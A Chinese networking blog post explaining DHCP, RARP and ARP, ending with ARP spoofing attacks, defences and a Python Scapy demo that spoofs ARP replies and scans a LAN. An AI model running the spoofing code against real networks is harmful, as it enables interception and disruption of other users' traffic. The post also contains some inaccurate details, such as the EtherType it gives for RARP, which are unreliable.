前言
写这篇文章的缘由是客户提出的一个问题:客户使用公司的Wi-Fi产品的App,有两个设备出现了问题,点击App里某个设备的开关但却是另外一个设备响应。最后排查的原因是,设备A和B在重新连入Wi-Fi的时候分配的IP地址反了过来!而测试的App一直常驻后台,保留的是第一次广播发现时的IP地址没有更新。为此我整理了局域网内自动分配IP地址相关的内容,也就是文章的第一部分DHCP协议详解。
DHCP协议本质是一种为MAC地址和IP地址提供映射的服务,这让我联想起RARP协议。为此在文章的第二部分对比了两种协议。
既然谈及了RARP,文章的结尾也顺带讨论了它的兄弟协议ARP。ARP和前两者的不同在于它提供的是IP地址到MAC地址的映射,并且不是发生在初始化而是传输发现设备的过程。
RARP/ARP协议在《TCP/IP详解 卷一》中有过专门的章节介绍(四、五两章),所以本文不会再赘述这两者协议的细节。如果仍有疑问,可以参考原书或者百度相关的内容。
DHCP协议详解
DHCP(Dynamic Host Configuration Protocol) 动态主机配置协议,位于应用层。当某主机尚未分配IP地址并且被设置为动态获取方式时,DHCP服务器就会根据DHCP协议给作为DHCP客户端的这台主机分配IP,使得主机能够利用这个IP上网。
这个应用层协议相对于HTTP,FTP听起来较为陌生,但是现实生活中却是非常常见的。如果恰巧你的身边有一台连接着Wi-Fi的iPhone或者iPad,你可以进入设置—>Wi-Fi ,点击当前连接Wi-Fi旁边的感叹号按钮查看配置,在这里你可以发现DHCP的身影。
图中的Static选项用来设置静态地址,需要手动输入各项参数;左边的则是我们今天将要介绍的DHCP;而中间的Bootp(Bootstrap Protocol)则是DHCP的前身,在《TCP/IP详解 卷一》中,第十六章整个篇幅拿来专门介绍了这个协议。
当然现在已经几乎看不到Bootp了。继任者DHCP兼容Bootp,有关DHCP报文格式问疑问,可以参考Bootp。两者具体的不同可以参见文档,本文不做赘述。
RFC 1531 - Dynamic Host Configuration Protocol
From the client's point of view, DHCP is an extension of the BOOTP mechanism. This behavior allows existing BOOTP clients to interoperate with DHCP servers without requiring any change to the clients' initialization software.
RFC 1534 - Interoperation Between DHCP and BOOTP
The format of DHCP messages is defined to be compatible with the format of BOOTP messages. ... Support of BOOTP clients by a DHCP server is optional at the discretion of the local system administrator.
DHCP报文类型简介
- DHCPDiscover
当作为DHCP客户端的主机第一次连入网络的时候发出的广播包,试图发现DHCP服务器并请求IP地址的相关信息。
-
DHCPOffer
当DHCP服务器收到DHCP客户端发出的DHCPDiscover广播以后,以广播的形式将一个尚未分配的IP地址和一些TCP/IP的配置信息返回给DHCP客户端。如果LAN中有多台DHCP服务器,每一台DHCP服务器都可以对DHCP客户端做出回应,由DHCP客户端自行选择和谁通信。在Windows中DHCP客户端会使用第一个返回的DHCPOffer包。
但是细心的朋友应该发现了,DHCPDiscover的截图中DHCP客户端在二层和三层确实使用了广播地址,但是DHCPOffer的截图,DHCP服务器返回的消息地址是指定的!Ethernet这一层填入了DHCP客户端的MAC地址,并且目的IP地址直接写入了预备分配给DHCP客户端的IP地址?
协议的描述是说以广播的形式返回,但事实却是单播的形式。这不符合逻辑和规范,但确确实实发生了。针对这个现象,我们应该引出两个问题:
- DHCP服务器是如何发出这个广播包的?
- 此时DHCP客户端还不知道自己分配的IP地址,为什么可以成功拿到这个数据包?
让我们一一来分析一下:
要讨论第一个问题,我们必须熟悉两个概念:一个是数据进入协议栈的流程;另一个就是ARP协议。
以太网是是当今TCP/IP采用的主要的局域网技术。以太网首部的14个字节,依次是6字节源主机的MAC地址,6字节目标主机的MAC地址和2字节类型标识。当一台主机把以太网数据帧发送到位于同一局域网上的另一台主机时,是根据48 bit的MAC地址来确定目的接口的。设备驱动程序从不检查IP数据报中的目的IP地址。这也就是说我们通过以太网发送一个数据报,除了要知道对方的IP地址,还需要知道对方的MAC地址。
但是DHCP作为一个应用层的协议,它是如何设置以太网首部里的目的MAC地址的呢?假设DHCP服务器在收到DHCP客户端的DHCPDiscover之后预备分配一个IP地址192.168.199.232
给DHCP客户端,在返回DHCPOffer时假定192.168.199.232
已经是DHCP客户端的IP地址了。一般情况下会通过ARP协议来获取DHCP客户端的MAC地址。
DHCP服务器发送一份称作ARP请求的以太网数据帧给以太网上的每个主机,*ARP请求数据帧中包含目的主机的IP地址。在Wireshark抓取的结果中你可以看到这样一个提示
Who has 192.168.199.232 ? Tell 192.168.199.1
DHCP客户端的ARP层收到这份广播报文后,识别出这是DHCP服务器在寻问它的IP地址,于是发送一个ARP应答。这个ARP应答包含IP地址及对应的硬件地址。
192.168.199.232 is at xx:xx:xx:xx:xx:xx
DHCP服务器收到ARP应答后,获取到了
192.168.199.232
也就是DHCP客户端对应的MAC地址,那么现在就可以传送IP数据报了。
ARP层的说法其实并不准确,实际ARP相关数据报的收发和处理是由链路层来处理的。
那么问题来了,DHCP客户端此时尚未被分配IP地址,它怎么会判断出Who has 192.168.199.232 ? Tell 192.168.199.1
这条消息是发送给自己的?这也就是说DHCP服务器发出的这个ARP请求根本没有人会回应!
有朋友可能会反驳,在DHCPDiscover中不是已经包含了DHCP客户端的MAC地址了吗,我们为什么还需要走ARP这一套流程?这里需要明确:DHCPDiscover中的MAC地址是以太网首部的内容,但DHCP是一个应用层的协议,在应用层中获取以太网首部的内容是不切实际的。要想应用层协议在以太网上发送一份IP数据报,那么必须经由ARP来获取目的主机的MAC地址。
这也就是为什么我们好奇DHCP服务器会发出的这个DHCPOffer的数据报。在刚刚介绍ARP的流程里,有一部分的内容并未提及,那就是ARP的高速缓存。实际缓存是一种提高效率的万金油,对于ARP也不例外。为了ARP的高速运行,每个主机上都有一个ARP高速缓存来存放最近IP地址到MAC地址之间的映射记录。高速缓存中每一项的生存时间一般为20分钟,起始时间从被创建时开始算起。在发送ARP请求之前,主机会先查询自己的ARP的高速缓存。
终端输入arp -a可以查看本机的ARP的高速缓存。arp -s可以设置一个条目
这就是问题的突破口。通常Unix服务器会发个ioctl(2)请求给内核,为该DHCP客户端在ARP的高速缓存中设置条目(这就是命令arp-s所做的操作)。这意味着当DHCP服务器发送DHCPOffer时,DHCP服务器的ARP将在ARP的高速缓存中找到该DHCP客户端的IP地址。
如果服务器没有办法在ARP的高速缓存设置一个条目,那么只好退而求其次选择广播的方式将DHCPOffer发出。当然通常的期望是网络广播越少越好 。
第一个问题的答案已经明了:DHCP服务器在收到DHCPDiscover时在ARP的高速缓存中将DHCP客户端的MAC地址和将要分配的IP地址写入条目,然后以此地址发出DHCPOffer。
但是DHCP客户端此时尚未分配IP地址,它是如何收到这个数据包的呢?在考虑这个问题之前我们应该要明确一个前提那就是它们在同一个局域网内,交换机可以根据MAC地址将数据报投递到DHCP客户端。令我感到疑惑的是在DHCP客户端尚未分配IP地址的情况下这个DHCPOffer并没有被丢弃。能够给出的合理解释就是当前IP地址尚未分配,网络层允许接收这样一个数据报。这部分应该是看IP协议具体的逻辑实现,我对这一部分仍然不确定,如果有其他准确的答复欢迎指教。
-
DHCPRequest
当DHCP客户端选择了一个DHCPOffer数据报之后,会通过广播的形势发送这样一个请求的数据报。这条数据报中包含了DHCP客户端选择的DHCPOffer数据报中分配的IP地址。需要注意的是如果设备续租当前的IP地址,那么它也会发出DHCPRequest,但是区别是会以单播的方式直接发送给DHCP服务器而不再是广播。(有关续租,点击查看自己手机的Wi-Fi详情都可以查看到这个选项按钮。)
Option:(50)Request IP Address 就是DHCPOffer分配的IP地址。
- DHCPAck
服务器以广播的形式确认了DHCP客户端的请求,并提供了有关IP的设置选项。DHCP客户端在接收了这条消息之后,就可以使用这些配置信息来设置自己的系统,并以这个租赁的IP地址在网络里收发IP数据报。
以广播的形式返回是因为此时DHCP客户端尚未确定自己的IP地址。如果DHCPAck是DHCPInform的回应,那么这条数据报就可以直接以单播的方式发送给DHCP客户端
提到这里我们需要关注一个点,无论是DHCPRequest还是DHCPAck亦或是这篇文章里提及的所有其它有关DHCP的数据报,收发的端口都是不变的:DHCP服务器使用了67端口,DHCP客户端使用的是68端口。
这确实是一种约定。首先我们可以思考:如果客户端的端口不确定,允许使用临时端口会出现什么问题?之前介绍的几种报文里我们频繁提到了广播的通讯方式,这意味着如果DHCP服务器如果采用广播的方式应答,LAN内所有的主机都会收到这个数据报,我们无法保证DHCP客户端请求使用的临时端口在LAN内其他主机上没有被使用。如果恰巧别的主机也在使用一样的临时端口,那么我们DHCP通讯势必会对这台主机造成影响。这就是约定端口比临时端口的优势所在
一般来说端口0 ~ 1024都是被保留的。我们开发的应用程序使用的端口最好足够大,一般大于4000
那么为什么DHCP客户端和DHCP服务器要各占用一个指定的端口?这实际是受制于DHCP协议本身。因为DHCP客户端和DHCP之间多种类型的报文都是以广播的形势互相传递的。如果DHCP客户端和DHCP服务器使用相同的端口,那么DHCP服务器发出的广播,同一个局域网内的其他DHCP服务器也会被唤醒处理这条数据报。反之DHCP客户端亦然。
之前的文章也提到了:通常的期望是网络广播越少越好。因为一条应答会同时发送给不相关的主机,如果恰巧大家都在等待相同类型的数据报,那么就容易造成混乱。比如在LAN内如果多台主机同时进行系统引导,而DHCP服务器都是以广播的形式进行应答,为了应对这一种情况,DHCP的报文首部提供事务标识字段供主机进行区分。
- DHCPNack
DHCP服务器以广播的形式拒绝了DHCP客户端的DHCPRequest请求。通常情况是因为DHCP客户端请求的IP地址非法。造成请求IP地址非法的原因有DHCP客户端被移动到其他子网或者对IP地址的租赁过期无法继续续租等等。
- DHCPDecline
DHCP客户端以广播的形式通知DHCP服务器,DHCPOffer提供的IP地址已经被另一台主机使用。
- DHCPRelease
DHCP客户端以单播的形式给分配它IP地址的DHCP服务器发送一条消息,解除当前IP地址的租赁。
- DHCPInform
此时DHCP客户端已经成功配置好自己的IP地址,它向DHCP服务器发起请求询问一些额外的配置信息。
DHCP协议流程图示
一般情况下,DHCP服务器分配IP地址的流程如下
DHCP客户端在本地子网中广播,尝试请求分配一个IP地址
DHCP服务器收到客户端的请求之后会以DHCPOffer回应,数据报中包含一个IP地址以及和租赁相关的配置信息,供DHCP客户端获取。DHCP客户端在收到DHCPOffer之前,会按照0s,4s,8s,16s,32s的间隔发送DHCPDiscover数据报。因为是以广播的形式发送,所以为了避免在子网内和其他设备的广播发生冲突,每次间隔会随机延迟或提前1s以内的时间。如果一分钟之后DHCP客户端没有收到任何回应,在没有额外配置的情况下那么初始化就意味着失败。
当DHCP客户端收到了确认,它会根据回复当中的DHCP选项信息来配置自己的TCP/IP属性并完成初始化。
在退出之后DHCP客户端会和DHCP服务器解除这个IP地址的租赁。(这个消息是没有返回的,即使DHCP服务器没有收到,那么租赁到期时也会因为没有续租而自动解除)
如果DHCP客户端收到的DHCPOffer数据报,里面提供的IP地址不可用,那么DHCP客户端会拒绝这个IP地址并通知DHCP服务器
极少数的情况下,DHCP服务器或拒绝DHCP客户端。通常是因为DHCP客户端请求了一个非法的IP地址。这个时候DHCP客户端需要重新去确认租赁的过程。
DHCP分配IP地址的机制实质上有三种,除开我们上文仔细介绍的动态分配方式(Dynamic Allocation),还可以自动分配方式(Automatic Allocation)为DHCP客户端永久的指定一个IP地址;亦或是手工分配方式(Manual Allocation),网络管理员直接为每台DHCP客户端指定IP地址,DHCP服务器只是将分配的结果传达给DHCP客户端。
本文不再赘述后两种机制。
聊一聊RARP
上文我们提到,DHCP协议实际是BOOTP协议的升级版,而BOOTP则可以被认为是另一种意义上的RARP(逆地址解析协议)的升级。我们在讨论DHCP数据报格式的时候,提到在基于以太网的链路层上传递数据报是需要同时提供48 bit的MAC地址和32 bit的IP地址的。每台主机的硬件地址是唯一的(至少理论上是这样说的,实际情况并不如此这只是一个美好的愿景),在主机初始化尚未获取到IP地址的时候,这两种协议提供了MAC地址到IP地址的一种映射。虽然常常会被人混成一谈,但实际DHCP协议(或者说BOOTP协议)和RARP的区别非常的大。
首先,两者分别处于不同的层上。
重新翻看一下上面的老图,RARP协议位于链路层,而DHCP协议是位于应用层上的。层次的不同使得封装也相差甚远。RARP直接封装在以太网帧中,协议类型置为0x0800用以标识这个报文是ARP/RARP报文,直接交由链路层去处理;而BOOTP/DHCP报文是直接封装在UDP报文中,作为UDP的数据出现的。
其次,RARP协议无法穿透子网,而DHCP可以
因为RARP协议使用的是链路层的广播,所以路由器不会转发RARP的请求。这就迫使每个实际网络都需要单独设置一个RARP服务器。但是DHCP协议则没有了这样的麻烦。虽然在DHCP协议中有大量的会话需要以广播的形式实现,而广播域局限在子网以内,但可以通过设置DHCP Relay来应对这一种情况。
DHCP Relay接收到本地主机发出的DHCP广播包,处理之后以单播的形式转发给DHCP服务器。同理在收到DHCP服务器的应答以后,在以广播的形式返回给本地主机。
在这里我们思考两个问题
- 是否二层协议(也就是网络层)都无法穿透子网。
并不尽然。比如我们所熟知的ICMP和RARP同在二层,但是ICMP可以穿透而RARP则不行。造成这样一种情况的根源就在于网络分层的不完美。
以我们熟知的TCP为例,一个基于TCP的应用层协议在传输数据的过程中,用户数据会自顶向下依次被封装,每次向下传递的过程,低层协议都会将自己的首部添加在上层协议数据报的开端。在这里我们可以简单的根据封装的顺序来区分协议所在层次的高低。
但是在网络层,有一个非常尴尬的存在那就是:ICMP和IP同在网络层,但是ICMP的传输却需要IP协议的承载,区分ICMP协议是依靠IP数据报中的type字段。而RARP/ARP协议则和IP协议一样,是以以太网首部的type字段来加以区分的。在之前的图中也可以看出,虽然这几类协议同在网络层,但是我们还是将它们分别放在了不同高度的位置上。
既然ICMP数据报被IP协议封装处理了,那么路由在接收到这样一份数据报的时候就知道如何去转发。但是RARP协议是依赖MAC地址的,转发也就无从说起了。
- 是否可能允许处理一下路由让其允许转发RARP的数据报
因为RARP协议没有IP地址,所以即使允许路由器转发,但是在接收到应答的时候,如果目的主机不是直连的,那么路由器没有办法仅仅依据MAC地址来决定下一跳的位置。
最重要的在于,RARP协议的使用需要我们提前在服务器上配置好相关的信息,服务器只提供IP地址;而DHCP服务器则是动态的去分配IP地址,并且可以提供初始化过程中需要的各类选项。
试想一下,如果每次都需要人为的去手动设置,那么地址就很容易会缺乏统一的规划和管理。如果我们希望在一个子网内,对地址能够有统一的规划和分配,专门的管理租约,续租,那么就必须要有一个服务器来专门承担这部分的责任。这也就是DHCP协议的意义所在。
总结
看似DHCP在和RARP的比较当中是完全胜出,但在IPv6里情况却变得非常值得玩味。在IPv6中,回归到ND(邻居发现协议),DHCPv6协同分配的处理方案。ND可以简单看成是增强版的ARP/RARP,它充分满足了没有DHCP服务器的情况下,在IPv6网络分配IP地址,路由前缀自动生成,快速上网的需求。
设计成这样的原因就在于网络中有很多轻量级客户端,不需要进行统一管理。这种场景下,轻量级的ARP/RARP进行一下修改和完善,比起DHCPv6就更加适合了。
聊一聊ARP
相比较于上文提到的两类协议,ARP(地址解析协议)就显得非常的简单了。这是应用于实现从 IP 地址到 MAC 地址的映射,即询问目标IP对应的MAC地址的一类协议。完整的流程只需要两个数据报,一问一答即可。借助Wireshark里我们可以很轻松的看清它工作的流程。
-
发起方 PC-1 询问
Who is 192.168.199.170 ? Tell 192.168.199.177
-
当IP地址是192.168.199.170的主机PC-2收到这条广播以后会给予应答
192.168.199.170 is at xx:xx:xx:xx:xx:xx(PC-2的MAC地址)
这样一份简单的协议,却留下了非常大的可操作空间。即使你不是专业的计算机相关从业人员,或许你也会听人说过网络扫描
、内网渗透
、中间人拦截
、局域网流控
这些名词,包括大量的安全工具,例如大名鼎鼎的Cain
、功能完备的Ettercap
,这些全部都要基于ARP协议来实现。
要明白问题的根源,首先我们要明确ARP协议的报文有怎样的特点:
- 报文没有任何加密的措施
- 会话过程中有大量广播的行为
不仅ARP,它的兄弟协议RARP报文也是一样。在RFC 3046 DHCP Relay Agent Information Option中有这样一段话
How does the system prevent DHCP IP exhaustion attacks? This is when an attacker
requests all available IP addresses from a DHCP server by sending
requests with fabricated DHCP客户端 MAC addresses. How can an IP address
or LIS be permanently assigned to a particular user or modem? How
does one prevent "spoofing" of DHCP客户端 identifier fields used to
assign IP addresses? How does one prevent denial of service by
"spoofing" other DHCP客户端's MAC addresses?
无加密的广播意味着收发的数据报很容易就会被同在LAN下的主机获取,传输的过程又没有任何加密措施,那么伪造应答也就毫无难度可言了。我们可以设想这样一种情况,在收到发起方的询问以后,我们伪造一条ARP Reply响应发起方会怎样?
-
发起方 PC-1 询问
Who is 192.168.199.170 ? Tell 192.168.199.177
-
正确的情况应该是IP地址为192.168.199.170的主机 PC-2 回应
192.168.199.170 is at xx:xx:xx:xx:xx:xx(PC-2的mac地址)
-
但是攻击者可以模拟一条ARP报文进行回应
192.168.199.170 is at yy:yy:yy:yy:yy:yy(攻击者的mac地址)
发起方 PC-1 同时收到两条ARP Reply,依据后到优先的原则会根据最新的Reply进行缓存。攻击者短时间内多次响应,那么几乎可以肯定会覆盖PC-2正确的响应。这意味着什么?
- PC-2的数据被转发到攻击者那里,明文传输的数据将会直接暴露出来。
- 因为原本属于PC-2的数据被转发,那么对于PC-2就相当于断开了网络。
- 当然,直接断开会引起使用者的注意,我们也可以做一些手脚来限速PC-2。
以上模拟ARP Reply。同理攻击者也可以模拟发起ARP Request。这个应用比较多的是扫描LAN内的主机,相对来说无毒无害一些。遍历LAN内可能的IP地址逐个构造ARP Request,如果LAN内存在相同IP地址的主机,那么它就会响应自己的MAC地址。
要避免ARP相关的攻击,方法很多。最稳妥但是比较繁琐的就是静态设置,将IP地址和MAC地址一一绑定,几乎断绝了其它操作的可能,但是同个LAN内用户多了以后会变得非常麻烦。或者不仅仅依靠ARP Reply,多个途径获取IP地址和MAC地址的映射用以判断非法用户,比如说DAI(Dynamic ARP Inspection)动态ARP检测,交换机上开启DHCP侦听技术。
当然,我们也可以根据网络数据包特征自动识别局域网存在的ARP扫描和欺骗行为,并做出攻击判断(哪个主机做了攻击,IP和MAC是多少)。这也是部分安全软件所实现的机制。
比如说攻击者为了确保自己的ARP Reply能够覆盖正确的响应,会短时间内发送多个伪造的数据报的行为。
简单实现的ARP扫描和欺骗
这里使用的是Python的Scapy库。里面提供了两个函数forwardArpPackrt
和scanLanDevices
,分别是做的ARP欺骗和ARP扫描LAN内主机的操作。因为是个Demo并没有加option,如果你有兴趣测试自己修改一下代码内相关的IP地址即可。
#coding:utf-8
from scapy.all import *
mac = get_if_hwaddr('en1')
print mac
def forwardArpPackrt(packet):
print packet.op,packet.hwdst
if packet.op == 1 and packet.pdst == '你的路由器的IP地址':
print '-----Found-----'
print packet.hwsrc, packet.psrc
print '---------------'
arpPkt = Ether(dst=packet.hwsrc)/ARP(op=2, hwdst=packet.hwsrc, pdst=packet.psrc,
psrc=packet.pdst, hwsrc=mac)
res = srp1(arpPkt, timeout=1 ,verbose=0)
if res:
print 'succ'
def scanLanDevices():
#根据自己的IP地址以及子网掩码来确定可能的主机号
IP_SCAN = '192.168.199.1/24'
try:
ans, unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=IP_SCAN), timeout=2)
except Exception as e:
print e
else:
for send, rcv in ans:
ListMacAddr = rcv.sprintf("%Ether.src%---%ARP.psrc%")
print ListMacAddr
if __name__ == '__main__':
#sniff(filter='arp', iface='en1',prn=forwardArpPackrt)
scanLanDevices()
最后有两点需要提示的:
- 抓包可以看出扫描本地设备的时候广播的太过频繁,可能会被丢弃一部分。导致扫描的结果不完整。
- Scapy依赖比较多的库,请确保安装完全。